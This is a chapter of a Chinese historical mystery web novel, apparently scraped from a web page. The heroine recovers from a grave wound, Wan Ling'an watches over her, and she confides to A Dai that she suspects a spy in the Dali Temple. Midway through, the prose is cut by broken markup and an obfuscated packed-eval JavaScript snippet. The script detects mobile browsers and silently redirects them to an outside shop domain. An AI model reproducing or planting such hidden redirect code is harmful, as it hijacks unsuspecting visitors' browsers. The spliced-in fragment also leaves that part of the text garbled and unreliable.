景暄和像陷入了一场梦,这梦很深,好像怎么都醒不过来似的,她很困,也很累,甚至有一种念头,要是永远都醒不来,是不是就不用面对外面的那些纷乱嘈杂了?
依稀间,景暄和仿佛看到爸爸和妈妈正站在云端,向她招手,她很想去找他们,在他们面前,她永远也不必坚强,更不必勇敢,只用做一个在他们身后的,无忧无虑的小女孩就行了,多好啊。还有妹妹景暄妍,也在向她招手。
她向他们一步一步地走近,脚下轻飘飘的,眼里是从未有过的轻松与微笑,眼见就要拉到爸爸的手了,她的愿望马上便可达成。
可是。
为什么一直有个声音在呼唤她呢……
到底,是谁?
景暄和想睁眼,却怎么也没有力气,只觉得身体像飘在空气中似的。
那个脸庞实在模糊,景暄和看不清楚,却有一种莫名的熟悉感,好像已经认识很多年了。
那么,到底是谁呢?
这个问题一直横亘在景暄和的心头,挥之不去,一瞬间,她甚至清楚地意识到,自己是在梦里,毕竟,爸爸、妈妈和妹妹不在这个时空,又怎么会向她招手呢?
四周突然一片漆黑,亲人们都消失不见了,只有她一人困在一个小小的空间里,景暄和蜷缩在一团,竟然不知道该怎么办,那是一种从未有过的害怕,好像被全世界抛弃了一般。一瞬间,那个呼唤她的声音又出现了,就像救命稻草一般,景暄和站起身来,去寻找那个声音……
她蓦地睁开眼,一时间竟不知是梦境还是现实。
透过轻薄的帷幔,自己正在一个房间内。空气温暖,炉火冒着微微的红光,氤氲着模糊的气息,房中立着一个木头桌案,上面摆着笔筒和砚台,还有许多泛黄的纸张……
原来,自己是在北镇抚司的卧房啊,景暄和一怔,她居然没有死?
她的手指一动,却见床边趴着一个人,那人黑发玉冠,华贵异常,身上,还有淡淡的月麟香的味道,恍若神仙公子。
万灵安被这动静惊醒了,他的眼睛隐约有血丝,明明那么出众,却带着不可言说的疲惫。
“万大人……”景暄和作势便要行礼。
万灵安却制止了,他抑制住心头的万千情绪,面上只是冷冷道:“不必多礼。”
“万大人,竟是一直守在我身边么?”景暄和抬眸,问道,她的声音还是很低微,像脆弱的瓷器,仿佛一碰便会碎。
“今早本有事,刚好路过北镇抚司,听说你出事了,便进来瞧瞧。”万灵安薄唇微抿,看着她虚弱的样子,心头不禁泛出一丝怜惜。
“谢谢万大人,对下官的关怀,下官,感激不尽。”景暄和好不容易吐出这几个字,嘴唇还有些苍白。
万灵安见她如此疏离,突然升起一股无名的怒意,他撇过头去,眼神冷了下去,道:“你不是一向崇尚明哲保身么?我还以为,你说什么也不会用生命去冒险。”
景暄和解释道:“当时我抓敌心切,也没来得及思考,就追了出去。”
“追了出去?”万灵安见她说得如此轻飘飘的,更生气了,他压制住怒意,只是冷冷道:“所以,便命也不顾了么?”
“不是这样的……”景暄和还想解释,却不知说什么,再多的语言也是苍白的,事实正如万灵安所说,她为了完成任务,以命相搏,差点就命丧于此了。
“对不起。”景暄和敛了眸子,长长的睫毛在眼底落下一圈阴影。
“你不必跟我说对不起,也没有什么对不起我的。”万灵安站起身,不去看她,他是真的被吓到了,从来没见她流这么多血,就像整个身体都被掏空了一般,一瞬间,他的大脑一片空白,在朝堂和战场上经历过那么多的明枪暗箭,却没有一刻比此刻的惊慌来得猛重。
“万大人……”
景暄和轻声说,刚一伸手,伤口却被拉到了,她痛得“嘶”了一声,鲜血又将绷带染红了。
“你……”万灵安见状,立即来到她的面前坐下,帮她换绑带,气极道:“怎么又不小心?”
景暄和忍着痛意,咧开一抹笑,对万灵安说:“下次一定小心。”
“还有下次?”万灵安目光一瞥,刀子一般。
“没……没有了。”景暄和被他的目光弄得有些胆颤。
“那你下次还敢不敢这样?”万灵安一边帮她包扎伤口,一边问道。
景暄和见他神色缓和了一点,赶忙保证道:“不敢了,坚决不敢了。”
“那便好。”万灵安缓缓道:“我去找庄志兴大夫来替你看看。”
说着便出门了,留下一室的清冷。
***
不多时,庄志兴进门,见景暄和醒过来了,不禁长舒一口气,道:“上天保佑,幸好你醒来了,不然老夫都不知如何与于兄交代了。”
“我命硬,去鬼门关走了一趟,阎王爷却不收我。”
景暄和开了个玩笑,却听庄志兴说:“这次幸亏有万大人,他的那味药,东海胶珠,是世间少有的珍品,若不是那味药帮你护住了心脉,真是神仙也难救啊。”
“庄伯伯,万大人是守了一夜么?”景暄和试探着问道,她才不信,他只是今早刚好路过呢,这世上哪有这么巧的事。
庄志兴点头,道:“是啊,他昨晚一听到你出事就马上赶来了,连我儿子庄炎都觉得,你在万大人心中的分量不轻呢。”
景暄和微微低头,这个人,总是那么捉摸不透,难道亲口对她说,他很担心她,有那么难么?
“老大,老大你终于醒了!”阿呆倏忽间进了门,喜极而泣道。
景暄和摇摇头,笑着说:“你这个呆子,又不是什么了不得的大事,看你吓的那个样子,真没出息。”
阿呆抹了一把眼泪,说:“怎么不是大事了?昨天庄大夫亲口说,如果你今日醒不过来,就回天乏术了!”
庄志兴颔首,道:“此言不虚。”
他还要给景暄和准备药,当下便先出门了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671244|144182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
“对了,老大,告诉你一个好消息。”阿呆兴冲冲地说:“那个‘野人’在距离破庙几里的地方被抓住了,原来真是一只体型壮硕的大猩猩,想来是有了‘卍’字符的关系,那猩猩便和赵四梁遇到的水怪一样,异于其他生灵,所以才会那么庞大,我先前还以为不可能是猩猩,却没想到因为巫术的关系,猩猩真能那么大!”
“大猩猩本就聪明,有了那‘卍’字符,便更了不得了。”景暄和抚掌而笑,说:“幸亏在此时抓住了,否则为害人间,以后更不知如何收场。”
“还有一个消息,徐小姐安然无恙,昨天也苏醒了,徐昶大人和他的夫人都说,要好好感谢老大你呢。”
“感谢倒不用了,这都是我该做的。”景暄和淡淡道,“那么下一步,就是抓住那幕后之人了。”
“可是老大,你在昏过去之前,好像跟阿呆说,那是个东瀛人?”
“正是。”景暄和点头。
“可是阿呆不懂,东瀛人为何会使用苗疆巫术呢?连阿呆都没有听过的东西,一个东瀛人居然会懂,这不是太奇怪了?”
“这也是我疑惑的地方,除非有高人指点,否则他一定不知道此法。”
阿呆摸了摸下巴,说:“难道这凶手的幕后,另有其人?这就太难办了吧。”
“暂且不谈这个,现下还有另一件事,比这个更重要。”景暄和环顾四周,示意阿呆将门窗关住,小心隔墙有耳。
“现今就我们二人,你发誓,不将此事外传。”
“我发誓!”阿呆向天保证道:“要是我外传,就诅咒我天天被猫抓,连眼珠子都被猫吃掉。”
“倒也不必立这样的重誓。”景暄和睨了他一眼,哪有这样诅咒自己的。
“那老大,你快点说吧。”阿呆等不及了。
景暄和压低声音,一字一句道:“我怀疑,大理寺里,有东瀛人的内奸。”
“什么?!”阿呆吃惊地说不出话,半晌,才说:“东瀛不过是一个偏远小国罢了,难道东瀛人的势力,居然都渗透到大明了么?”
景暄和施施然道:“没有什么不可能的,当时我们从城北回来后,就只告诉了大理寺的一干人等,按理说凶手应该不会那么快得到消息,可是他却赶在大部队到达之前就逃走了,这里面一定有猫腻。”
“难道是城北的冯半仙和他的徒弟小果儿走漏了风声?”
“不可能,在我们走之前,我曾秘密地派张二越监视他们,要是发现什么风吹草动,张二越一定会跟我报告。”
“那就奇怪了,放着大理寺那么好的差事不做,居然去给东瀛人当奸细,真是嫌命太长了!”阿呆十分气愤,“最可气的是,还害老大受那么重的伤,要是被我找到那人,一定将他碎尸万段。”
景暄和郑重地说:“此事事关重大,一定不能让其他人知道,所以我们除了抓捕凶手,还有第二个任务,那就是抓住大理寺的内奸,此人若是不除,便会对我们破案造成极大的阻碍。”